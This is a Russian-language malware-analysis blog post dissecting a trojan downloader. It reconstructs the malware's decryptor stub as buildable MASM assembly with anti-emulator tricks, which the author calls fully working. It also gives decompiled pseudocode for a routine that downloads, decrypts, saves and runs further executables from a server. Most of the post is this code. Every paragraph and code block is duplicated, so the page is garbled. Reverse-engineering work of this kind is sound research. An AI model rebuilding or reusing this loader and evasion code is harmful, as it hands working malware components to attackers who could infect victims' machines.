Попался тут где то в середине марта экземпляр на Malware Domaian List троян доунлоадер. Ну что ж поиследуем решил , на момент поимки его на вирустотале детектило 4 или 5 АВ. к концу марта уже 35/45 (линк).
Код доунлоадера разбавлен полиморфным мусором, что несколько затрудняет анализ. Имеем следующую картину
Можно забить и анализировать так, благо кода всетаки не так много, но лень двигатель прогресса и для облегчения своей задачи воспользуемся прекрасным плагином для IdaPro - CodeDoctor (взять тут http://tuts4you.com). Ок. имеем следующую картину:
И это уже гораздо приятней =)
И собственно ниже код первой части (назовем ее декриптовщик) доунлоадера виде bat файла, полностью рабочий, выкинута только шифрованая часть (в листинге CrBlock внутрь этого блока и передается управление полсле декриптовки). Основная задача декриптовщика реализована двумя потоками: генерации ключа (GenerateNewKeyDecrypto) и расшифровки (ThreadDecrypt), так же код разбавлен (полезными и бесполезными =) ) вызовами Win Api, предназначеные для обламывания некоторых эмуляторов (имхо щас уже таких "тупеньких" не осталось уже ... я ошибаюсь , не ? или все таки нет, так сначало его детектило 4-5 АВ ...)
После , что совершенно логично =), управление передается на расшифрованный код (CrBlock). Картинка выглядит уже вот так, мусора полиморфного уже нет:
И затем после получения адресов нужных для работы доунлоадеру функций (GetRtlApi , в ней все стандартно , передали массив имен, получили массив адресов. Зачем то, кстати 2 раза получаем base address для kernell32 =)) наверно это фича), инициализации Winsock и выделения буферов, мы попадаем в основную функцию загрузки и запуска других вредоносов. Это функция GetPayloadAndRun.
Стоит отметить , что доунлоадер может получить и запустить неограниченое число других вредоносов, формат получаемых данных выглядит следующим образом:
|Новый ключ|длина блока 1|блок1|длина блока 2|блок 2|...|длина блока n|блок n|0|
Новый ключ - начальное значение нового ключа, которым зашифрован полученый , новый блок.
Соответствено длинна блока и сам блок. Доунлоадер будет последовательно расшифровывать и запускать блоки/exe
Функция GetPayloadAndRun красиво укладывается в следующий псевдо код:
И вуаля и спасибо =)
Код доунлоадера разбавлен полиморфным мусором, что несколько затрудняет анализ. Имеем следующую картину
Можно забить и анализировать так, благо кода всетаки не так много, но лень двигатель прогресса и для облегчения своей задачи воспользуемся прекрасным плагином для IdaPro - CodeDoctor (взять тут http://tuts4you.com). Ок. имеем следующую картину:
И это уже гораздо приятней =)
И собственно ниже код первой части (назовем ее декриптовщик) доунлоадера виде bat файла, полностью рабочий, выкинута только шифрованая часть (в листинге CrBlock внутрь этого блока и передается управление полсле декриптовки). Основная задача декриптовщика реализована двумя потоками: генерации ключа (GenerateNewKeyDecrypto) и расшифровки (ThreadDecrypt), так же код разбавлен (полезными и бесполезными =) ) вызовами Win Api, предназначеные для обламывания некоторых эмуляторов (имхо щас уже таких "тупеньких" не осталось уже ... я ошибаюсь , не ? или все таки нет, так сначало его детектило 4-5 АВ ...)
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
;@echo off
;goto make
; █████████████████████████████████████████████████████
; █
; █ Reverse engineering TrojanDownloader.Win32.Small.cgwk
; █ by MalwRecon http://malwrecon.blogspot.com
; █
; █████████████████████████████████████████████████████
.386
.model flat, stdcall
option casemap:none
option prologue:none
include d:\masm32\include\urlmon.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\gdi32.inc
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\urlmon.lib
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\gdi32.lib
; enum STATE_KEY_CRYPT
KEY_CRYPT_NEED_NEW = 0
KEY_CRYPT_GENERATED = 1
KEY_CRYPT_ALREADY = 2
.code
scode:
jmp start_0
;-=-=-=-=-=-=-=-=-=-=-=-=-|CryptoDataBlock|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CrBlock db 4296 dup(0h) ; тут типа должны быть криптованные даные
OEP dd 0 ; на самом деле этот dd находится внутри
;закриптованого блока , но чтоб масм не ругался я тут хитрю =)
;-=-=-=-=-=-=-=-=-=-=-=-=-|CryptoDataBlock|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
KeyID dd 0D1DA10C0h ; Ключ/ID зашитый по умолчанию в код
hDecryptThread dd 0h
hGenerateThread dd 0h
KeyDeCrypto dd 0h
StateKeyCrypt dd 0h
ptrBeginCryptoBlock dd offset CrBlock
sizeblock dd 4295
hdc dd 0h
real_OEP dd offset OEP ; Сюда переходим после декриптовки блока
Exit_1:
mov eax, 1
push 1 ; uExitCode
call _ExitProcess
retn
GenerateNewKeyDecrypto proc near
pop ecx ; return go_waitgener
pop edx ; ptr KeyDecrypto
push ecx ; save ret addr go_waitgener
mov eax, KeyID
mov ecx, eax
rol eax, 3
and al, 11111011b
xchg ah, al
jmp short loc_13141E
padgo1:
xor eax, ecx ; keydecrypto = keydecrypto ^ KeyID
add eax, 201h ; keydecrypto = keydecrypto + 0x201
mov KeyID, eax ; KeyID = keydecrypto
ror eax, 10h
jmp short store_new_keycrypt
jmp Exit_1
retn
loc_13141E:
xchg ah, al
nop
and al, 11111100b
jmp padgo1
store_new_keycrypt:
ror eax, 8 ; keydecrypto ror 18h
mov [edx], eax ; edx - ptr Keydecrypto, eax - new Keydecrypto
mov dword ptr [edx+4], KEY_CRYPT_ALREADY
add edx, 4
retn
GenerateNewKeyDecrypto endp
_ApiGetDC proc near
add eax, 0ECh
test eax, eax
jnz _GetDC
mov eax, [edx-1]
sub eax, 1
add eax, edx
jmp Exit_1
_ApiGetDC endp
_ApiEnumFontsA proc near
add eax, 5
jmp _EnumFontA
_ApiEnumFontsA endp
_ApiGetTickCount:
inc ebx
inc edx
push offset retno3
add eax, 52Dh
add eax, 300h
jnz _GetTickCount
add ebx, 64h
add ecx, 64h
retno3:
add eax, 200
nop
retn
WaitGenerationKeyThread:
pop ebx ; retno2
mov eax, hGenerateThread
push 1 ; Ждем 1 мсек поток ThreadGenerationKey
push eax
push ebx ; адрес возврата retno2
jnz _WaitForSingleObject
not_under_emu:
mov hdc, eax
mov ecx, 131102h ; в мусор
push ecx
push offset FontFunc
push hGenerateThread
add eax, 3
push hdc
call _ApiEnumFontsA
push eax ; eax = 0
inc eax
call _GetLastError ; return - 0xb7
pop eax ; eax = 0
mov ecx, eax ; ecx = 0
mov edx, eax ; edx = 0
inc ebx
inc ebx
inc edx
inc ecx
inc ebp
inc edx
inc ebx
inc ecx
retn ; retno2
FontFunc:
mov eax, [esp+10h]
mov dword ptr [eax+46Dh], 'ABCC'
mov dword ptr [eax+471h], 'ACBE'
xor eax, eax
retn
begin_create_threads:
add eax, 2 ; eax = 2
xor ebx, ebx
mov ecx, 4 ; ecx count =4 для запихивания в стек 4 dword'а по нулю =)
_loop_push_null:
push ebx
sub ecx, 1
test ecx, ecx
jnz short _loop_push_null
push offset ThreadDecrypt
push ebx
push ebx
call _CreateThread
mov hDecryptThread, eax
xor ebx, ebx
push 0
push 0
push 0
push 0
push offset ThreadGenerationKey
push ebx
push ebx
call _CreateThread
mov hGenerateThread, eax
mov eax, hDecryptThread
or ebx, 0FFFFFFFFh
push ebx ; -1
push eax ; hDecryptThread
call _WaitForSingleObject ; Зациклились =)
push 0
call _ExitProcess
ThreadDecrypt:
push sizeblock ; = 4295 bytes
pop ecx ; ecx - размер декриптуемого блока
mov esi, ptrBeginCryptoBlock
go_decrypt:
push esi ; сохраняем указатель на текущий для декриптовки байт
mov esi, ecx
push esi ; esi = size CryptedCode сохраняем размер оставшегося блока для декриптовки
wait_key:
xor eax, eax
add eax, 1
push eax
call _Sleep ; "Засыпаем" на 1 мсек для того чтоб подождать сгенерированного ключа
mov eax, StateKeyCrypt
cmp eax, KEY_CRYPT_ALREADY ; Ключ готов ?
jnz wait_key ; ждем еще
jmp decrypt_byte ; Расшифровываем
go_next_byte: ; двигаемся к следующему байту
inc esi ; esi - ptr to next byt
push eax ; eax current Keydecrypto
push ebx ; current decryped byte будет использоваться как счетчик небольшой задержки
ebx_zero_loop:
shl ebx, 2
jnz short ebx_zero_loop
mov StateKeyCrypt, ebx ; set StateKeyCryt = KEY_CRYPT_NEED_NEW
pop ebx
pop eax ; eax = keydecrypto
sub ecx, 1 ; SizeCryptCode -= 1 уменьшаем размер блока оставшегося для декриптовки
test ecx, ecx ; this end ?
jnz go_decrypt ; еще нет - работаем
jmp real_OEP
decrypt_byte:
pop ecx ; ecx = текуший размер даных оставшихся для декриптовки
pop esi ; esi = указатель на текущий байт для декриптовки
mov eax, KeyDeCrypto
mov bl, [esi]
xor bl, al
mov [esi], bl
jmp short go_next_byte
ThreadGenerationKey:
mov eax, 1
mov StateKeyCrypt, KEY_CRYPT_GENERATED
push offset KeyDeCrypto
call GenerateNewKeyDecrypto
go_waitgener:
push eax ; Сгенерированый KeyDecrypto
push ebx ; ebx = 0
push ecx ; KeyID
sub ebx, 1 ; ebx = -1
mov eax, 0CAh
call WaitGenerationKeyThread
retno2:
mov ebx, 0Ch
sub eax, 0Ch ; eax = 0xf6
go_tickcount:
call _ApiGetTickCount
mov ebx, 6Fh
and eax, 1
or eax, eax
jz short chk_state_keycrypt
mov eax, 0Ch
jmp short go_tickcount
chk_state_keycrypt:
pop ecx
pop ebx ; ebx = 0
pop eax ; restore current KeyCrypt
cmp StateKeyCrypt, KEY_CRYPT_NEED_NEW ; need new KeyCrypt?
jz ThreadGenerationKey
jmp go_waitgener
nextgo3:
mov ebx, 0D0Eh
pop eax ; eax = 0
mov ecx, 2212h
jmp nextgo4
nextgo:
shl eax, 1
push eax ; eax = 0
add eax, 0A78h ; eax = 0xa78
add ebx, 16Eh ; ebx = 0x7ffda16e
add ecx, 5A4h ; ecx = 0x240554
jmp short nextgo2
start_0:
push 0FFFFFBB2h
mov esi, 0FFFFFBB3h
jmp short nextgo
nextgo2:
inc ebx
add ebx, eax
inc eax
inc ebx
add eax, ebx
add ebx, 1 ; ebx = 0x7ffdabe9
inc eax ; eax = 0x7ffdb662
jmp nextgo3
nextgo4:
sub ecx, 1
add eax, ecx
inc eax
add eax, ebx
add eax, 1 ; eax = 0x2f21
pop edi ; edi = 0xfffffbb2
inc ecx
zro_ebx:
sub ecx, 1
sub ebx, 1
jnz short zro_ebx ; ebx is ZERO ??
mov eax, ebx ; eax = 0
push ebx ; push 0
push offset begin_create_threads
push ebx ; push 0
call _ApiGetDC
cmp eax, 0
jnz not_under_emu ; Not under emul ?
int 3 ; Trap to Debugger
_GetDC:
jmp GetDC
_CreateThread:
jmp CreateThread
_ExitProcess:
jmp ExitProcess
_GetLastError:
jmp GetLastError
_GetTickCount:
jmp GetTickCount
_Sleep:
jmp Sleep
_WaitForSingleObject:
jmp WaitForSingleObject
_EnumFontA:
jmp EnumFonts
end scode
:make
set sc=small_cgwk
d:\masm32\bin\ml /nologo /c /coff %sc%.bat
d:\masm32\bin\link /align:4 /nologo /entry:scode /out:%sc%.exe /subsystem:console %sc%.obj
del %sc%.obj
echo.
pause
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
;@echo off
;goto make
; █████████████████████████████████████████████████████
; █
; █ Reverse engineering TrojanDownloader.Win32.Small.cgwk
; █ by MalwRecon http://malwrecon.blogspot.com
; █
; █████████████████████████████████████████████████████
.386
.model flat, stdcall
option casemap:none
option prologue:none
include d:\masm32\include\urlmon.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\gdi32.inc
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\urlmon.lib
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\gdi32.lib
; enum STATE_KEY_CRYPT
KEY_CRYPT_NEED_NEW = 0
KEY_CRYPT_GENERATED = 1
KEY_CRYPT_ALREADY = 2
.code
scode:
jmp start_0
;-=-=-=-=-=-=-=-=-=-=-=-=-|CryptoDataBlock|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CrBlock db 4296 dup(0h) ; тут типа должны быть криптованные даные
OEP dd 0 ; на самом деле этот dd находится внутри
;закриптованого блока , но чтоб масм не ругался я тут хитрю =)
;-=-=-=-=-=-=-=-=-=-=-=-=-|CryptoDataBlock|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
KeyID dd 0D1DA10C0h ; Ключ/ID зашитый по умолчанию в код
hDecryptThread dd 0h
hGenerateThread dd 0h
KeyDeCrypto dd 0h
StateKeyCrypt dd 0h
ptrBeginCryptoBlock dd offset CrBlock
sizeblock dd 4295
hdc dd 0h
real_OEP dd offset OEP ; Сюда переходим после декриптовки блока
Exit_1:
mov eax, 1
push 1 ; uExitCode
call _ExitProcess
retn
GenerateNewKeyDecrypto proc near
pop ecx ; return go_waitgener
pop edx ; ptr KeyDecrypto
push ecx ; save ret addr go_waitgener
mov eax, KeyID
mov ecx, eax
rol eax, 3
and al, 11111011b
xchg ah, al
jmp short loc_13141E
padgo1:
xor eax, ecx ; keydecrypto = keydecrypto ^ KeyID
add eax, 201h ; keydecrypto = keydecrypto + 0x201
mov KeyID, eax ; KeyID = keydecrypto
ror eax, 10h
jmp short store_new_keycrypt
jmp Exit_1
retn
loc_13141E:
xchg ah, al
nop
and al, 11111100b
jmp padgo1
store_new_keycrypt:
ror eax, 8 ; keydecrypto ror 18h
mov [edx], eax ; edx - ptr Keydecrypto, eax - new Keydecrypto
mov dword ptr [edx+4], KEY_CRYPT_ALREADY
add edx, 4
retn
GenerateNewKeyDecrypto endp
_ApiGetDC proc near
add eax, 0ECh
test eax, eax
jnz _GetDC
mov eax, [edx-1]
sub eax, 1
add eax, edx
jmp Exit_1
_ApiGetDC endp
_ApiEnumFontsA proc near
add eax, 5
jmp _EnumFontA
_ApiEnumFontsA endp
_ApiGetTickCount:
inc ebx
inc edx
push offset retno3
add eax, 52Dh
add eax, 300h
jnz _GetTickCount
add ebx, 64h
add ecx, 64h
retno3:
add eax, 200
nop
retn
WaitGenerationKeyThread:
pop ebx ; retno2
mov eax, hGenerateThread
push 1 ; Ждем 1 мсек поток ThreadGenerationKey
push eax
push ebx ; адрес возврата retno2
jnz _WaitForSingleObject
not_under_emu:
mov hdc, eax
mov ecx, 131102h ; в мусор
push ecx
push offset FontFunc
push hGenerateThread
add eax, 3
push hdc
call _ApiEnumFontsA
push eax ; eax = 0
inc eax
call _GetLastError ; return - 0xb7
pop eax ; eax = 0
mov ecx, eax ; ecx = 0
mov edx, eax ; edx = 0
inc ebx
inc ebx
inc edx
inc ecx
inc ebp
inc edx
inc ebx
inc ecx
retn ; retno2
FontFunc:
mov eax, [esp+10h]
mov dword ptr [eax+46Dh], 'ABCC'
mov dword ptr [eax+471h], 'ACBE'
xor eax, eax
retn
begin_create_threads:
add eax, 2 ; eax = 2
xor ebx, ebx
mov ecx, 4 ; ecx count =4 для запихивания в стек 4 dword'а по нулю =)
_loop_push_null:
push ebx
sub ecx, 1
test ecx, ecx
jnz short _loop_push_null
push offset ThreadDecrypt
push ebx
push ebx
call _CreateThread
mov hDecryptThread, eax
xor ebx, ebx
push 0
push 0
push 0
push 0
push offset ThreadGenerationKey
push ebx
push ebx
call _CreateThread
mov hGenerateThread, eax
mov eax, hDecryptThread
or ebx, 0FFFFFFFFh
push ebx ; -1
push eax ; hDecryptThread
call _WaitForSingleObject ; Зациклились =)
push 0
call _ExitProcess
ThreadDecrypt:
push sizeblock ; = 4295 bytes
pop ecx ; ecx - размер декриптуемого блока
mov esi, ptrBeginCryptoBlock
go_decrypt:
push esi ; сохраняем указатель на текущий для декриптовки байт
mov esi, ecx
push esi ; esi = size CryptedCode сохраняем размер оставшегося блока для декриптовки
wait_key:
xor eax, eax
add eax, 1
push eax
call _Sleep ; "Засыпаем" на 1 мсек для того чтоб подождать сгенерированного ключа
mov eax, StateKeyCrypt
cmp eax, KEY_CRYPT_ALREADY ; Ключ готов ?
jnz wait_key ; ждем еще
jmp decrypt_byte ; Расшифровываем
go_next_byte: ; двигаемся к следующему байту
inc esi ; esi - ptr to next byt
push eax ; eax current Keydecrypto
push ebx ; current decryped byte будет использоваться как счетчик небольшой задержки
ebx_zero_loop:
shl ebx, 2
jnz short ebx_zero_loop
mov StateKeyCrypt, ebx ; set StateKeyCryt = KEY_CRYPT_NEED_NEW
pop ebx
pop eax ; eax = keydecrypto
sub ecx, 1 ; SizeCryptCode -= 1 уменьшаем размер блока оставшегося для декриптовки
test ecx, ecx ; this end ?
jnz go_decrypt ; еще нет - работаем
jmp real_OEP
decrypt_byte:
pop ecx ; ecx = текуший размер даных оставшихся для декриптовки
pop esi ; esi = указатель на текущий байт для декриптовки
mov eax, KeyDeCrypto
mov bl, [esi]
xor bl, al
mov [esi], bl
jmp short go_next_byte
ThreadGenerationKey:
mov eax, 1
mov StateKeyCrypt, KEY_CRYPT_GENERATED
push offset KeyDeCrypto
call GenerateNewKeyDecrypto
go_waitgener:
push eax ; Сгенерированый KeyDecrypto
push ebx ; ebx = 0
push ecx ; KeyID
sub ebx, 1 ; ebx = -1
mov eax, 0CAh
call WaitGenerationKeyThread
retno2:
mov ebx, 0Ch
sub eax, 0Ch ; eax = 0xf6
go_tickcount:
call _ApiGetTickCount
mov ebx, 6Fh
and eax, 1
or eax, eax
jz short chk_state_keycrypt
mov eax, 0Ch
jmp short go_tickcount
chk_state_keycrypt:
pop ecx
pop ebx ; ebx = 0
pop eax ; restore current KeyCrypt
cmp StateKeyCrypt, KEY_CRYPT_NEED_NEW ; need new KeyCrypt?
jz ThreadGenerationKey
jmp go_waitgener
nextgo3:
mov ebx, 0D0Eh
pop eax ; eax = 0
mov ecx, 2212h
jmp nextgo4
nextgo:
shl eax, 1
push eax ; eax = 0
add eax, 0A78h ; eax = 0xa78
add ebx, 16Eh ; ebx = 0x7ffda16e
add ecx, 5A4h ; ecx = 0x240554
jmp short nextgo2
start_0:
push 0FFFFFBB2h
mov esi, 0FFFFFBB3h
jmp short nextgo
nextgo2:
inc ebx
add ebx, eax
inc eax
inc ebx
add eax, ebx
add ebx, 1 ; ebx = 0x7ffdabe9
inc eax ; eax = 0x7ffdb662
jmp nextgo3
nextgo4:
sub ecx, 1
add eax, ecx
inc eax
add eax, ebx
add eax, 1 ; eax = 0x2f21
pop edi ; edi = 0xfffffbb2
inc ecx
zro_ebx:
sub ecx, 1
sub ebx, 1
jnz short zro_ebx ; ebx is ZERO ??
mov eax, ebx ; eax = 0
push ebx ; push 0
push offset begin_create_threads
push ebx ; push 0
call _ApiGetDC
cmp eax, 0
jnz not_under_emu ; Not under emul ?
int 3 ; Trap to Debugger
_GetDC:
jmp GetDC
_CreateThread:
jmp CreateThread
_ExitProcess:
jmp ExitProcess
_GetLastError:
jmp GetLastError
_GetTickCount:
jmp GetTickCount
_Sleep:
jmp Sleep
_WaitForSingleObject:
jmp WaitForSingleObject
_EnumFontA:
jmp EnumFonts
end scode
:make
set sc=small_cgwk
d:\masm32\bin\ml /nologo /c /coff %sc%.bat
d:\masm32\bin\link /align:4 /nologo /entry:scode /out:%sc%.exe /subsystem:console %sc%.obj
del %sc%.obj
echo.
pause
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
После , что совершенно логично =), управление передается на расшифрованный код (CrBlock). Картинка выглядит уже вот так, мусора полиморфного уже нет:
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
OEP:
call GetRtlApi ; тут получаем необходимые нам функции
xor eax, eax
push offset eventname ; "234edr45e"
push eax ; BOOL bInitialState - nonsignaled будет создано
inc eax
push eax ; BOOL bManualReset - если этот параметр TRUE , то создается обект
; котоырй должен быть сброшен вручную функцией ResetEvent
dec eax
push eax ; LPSECURITY_ATTRIBUTES lpEventAttributes
call j_fn__CreateEventA
or eax, eax
jz short already_run ; создаем евент и проверяем не запущена ли уже копия
call j_fn_RtlGetLastWin32Error
or eax, eax
jnz short already_run
call InitWsaAndStartup ; Инит Winsock
call AllocateBuffersForWork ; Берем немного памяти под наши нужды
call GetPayloadAndRun ; Основная продедура
already_run:
xor eax, eax
push eax
call j_fn_ExitProcess
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
OEP:
call GetRtlApi ; тут получаем необходимые нам функции
xor eax, eax
push offset eventname ; "234edr45e"
push eax ; BOOL bInitialState - nonsignaled будет создано
inc eax
push eax ; BOOL bManualReset - если этот параметр TRUE , то создается обект
; котоырй должен быть сброшен вручную функцией ResetEvent
dec eax
push eax ; LPSECURITY_ATTRIBUTES lpEventAttributes
call j_fn__CreateEventA
or eax, eax
jz short already_run ; создаем евент и проверяем не запущена ли уже копия
call j_fn_RtlGetLastWin32Error
or eax, eax
jnz short already_run
call InitWsaAndStartup ; Инит Winsock
call AllocateBuffersForWork ; Берем немного памяти под наши нужды
call GetPayloadAndRun ; Основная продедура
already_run:
xor eax, eax
push eax
call j_fn_ExitProcess
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
И затем после получения адресов нужных для работы доунлоадеру функций (GetRtlApi , в ней все стандартно , передали массив имен, получили массив адресов. Зачем то, кстати 2 раза получаем base address для kernell32 =)) наверно это фича), инициализации Winsock и выделения буферов, мы попадаем в основную функцию загрузки и запуска других вредоносов. Это функция GetPayloadAndRun.
Стоит отметить , что доунлоадер может получить и запустить неограниченое число других вредоносов, формат получаемых данных выглядит следующим образом:
|Новый ключ|длина блока 1|блок1|длина блока 2|блок 2|...|длина блока n|блок n|0|
Новый ключ - начальное значение нового ключа, которым зашифрован полученый , новый блок.
Соответствено длинна блока и сам блок. Доунлоадер будет последовательно расшифровывать и запускать блоки/exe
Функция GetPayloadAndRun красиво укладывается в следующий псевдо код:
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
SOCKET __cdecl GetPayloadAndRun()
{
SOCKET s;
int SizeBlock;
int ovl;
HANDLE hFile;
int ptr;
DWORD exesize;
const void *exe;
int SizePayload;
int Payload;
s = CreateSocket();
if ( s != -1 )
{
sock = s;
s = ConnectToServer(s);
if ( !s )
{
j_fn_send(sock, (const char *)&KeyID0, 7, 0);
RecvPayloadFromServer(sock, (int)&Payload, (int)&SizePayload);
KeyID0 = *(_DWORD *)Payload; // получили новый Key для расшифровки
SizePayload -= 4;
ptr = Payload + 4;
do
{
DecryptBytes(ptr, 4); // Декриптуем первые 4 байта - это размер блока
SizeBlock = *(_DWORD *)ptr; // Сохраняем его
SizePayload -= 4; // Уменьшаем размер блока на 4 байта (4 байта под размер блока)
ptr += 4; // Указатель соотвественно увеличиваем на 4
DecryptBytes(ptr, SizeBlock);
exe = (const void *)ptr; // указатель на начало Exe файла
exesize = SizeBlock; // Размер = размеру декриптуемого блока
ptr += SizeBlock; // указатель на слудующий блок
j_fn_GetTempPathA(0xFEu, (CHAR *)tmpdir);// Подгототавливаем имя файла
j_fn_GetTempFileNameA((const CHAR *)tmpdir, "2456", 0, (CHAR *)tmpfile);
hFile = j_fn_CreateFileA((const CHAR *)tmpfile, 0x40000000u, 0, 0, 2u, 0x80u, 0);
ovl = 0;
j_fn__WriteFile(hFile, exe, exesize, (DWORD *)&ovl, 0);// Создаем и записываем его
j_fn__CloseHandle((void *)ptr);
s = (SOCKET)j_fn_CreateProcessA(
(const CHAR *)tmpfile, 0, 0, 0, 0, 0x20u, 0, 0,
(struct _STARTUPINFOA *)startupinfo,
(struct _PROCESS_INFORMATION *)procinfo);// Создаем процесс
}
while ( SizePayload ); // если есть еще данные - продолжаем
}
}
return s;
}
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
SOCKET __cdecl GetPayloadAndRun()
{
SOCKET s;
int SizeBlock;
int ovl;
HANDLE hFile;
int ptr;
DWORD exesize;
const void *exe;
int SizePayload;
int Payload;
s = CreateSocket();
if ( s != -1 )
{
sock = s;
s = ConnectToServer(s);
if ( !s )
{
j_fn_send(sock, (const char *)&KeyID0, 7, 0);
RecvPayloadFromServer(sock, (int)&Payload, (int)&SizePayload);
KeyID0 = *(_DWORD *)Payload; // получили новый Key для расшифровки
SizePayload -= 4;
ptr = Payload + 4;
do
{
DecryptBytes(ptr, 4); // Декриптуем первые 4 байта - это размер блока
SizeBlock = *(_DWORD *)ptr; // Сохраняем его
SizePayload -= 4; // Уменьшаем размер блока на 4 байта (4 байта под размер блока)
ptr += 4; // Указатель соотвественно увеличиваем на 4
DecryptBytes(ptr, SizeBlock);
exe = (const void *)ptr; // указатель на начало Exe файла
exesize = SizeBlock; // Размер = размеру декриптуемого блока
ptr += SizeBlock; // указатель на слудующий блок
j_fn_GetTempPathA(0xFEu, (CHAR *)tmpdir);// Подгототавливаем имя файла
j_fn_GetTempFileNameA((const CHAR *)tmpdir, "2456", 0, (CHAR *)tmpfile);
hFile = j_fn_CreateFileA((const CHAR *)tmpfile, 0x40000000u, 0, 0, 2u, 0x80u, 0);
ovl = 0;
j_fn__WriteFile(hFile, exe, exesize, (DWORD *)&ovl, 0);// Создаем и записываем его
j_fn__CloseHandle((void *)ptr);
s = (SOCKET)j_fn_CreateProcessA(
(const CHAR *)tmpfile, 0, 0, 0, 0, 0x20u, 0, 0,
(struct _STARTUPINFOA *)startupinfo,
(struct _PROCESS_INFORMATION *)procinfo);// Создаем процесс
}
while ( SizePayload ); // если есть еще данные - продолжаем
}
}
return s;
}
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
И вуаля и спасибо =)
Комментариев нет:
Отправить комментарий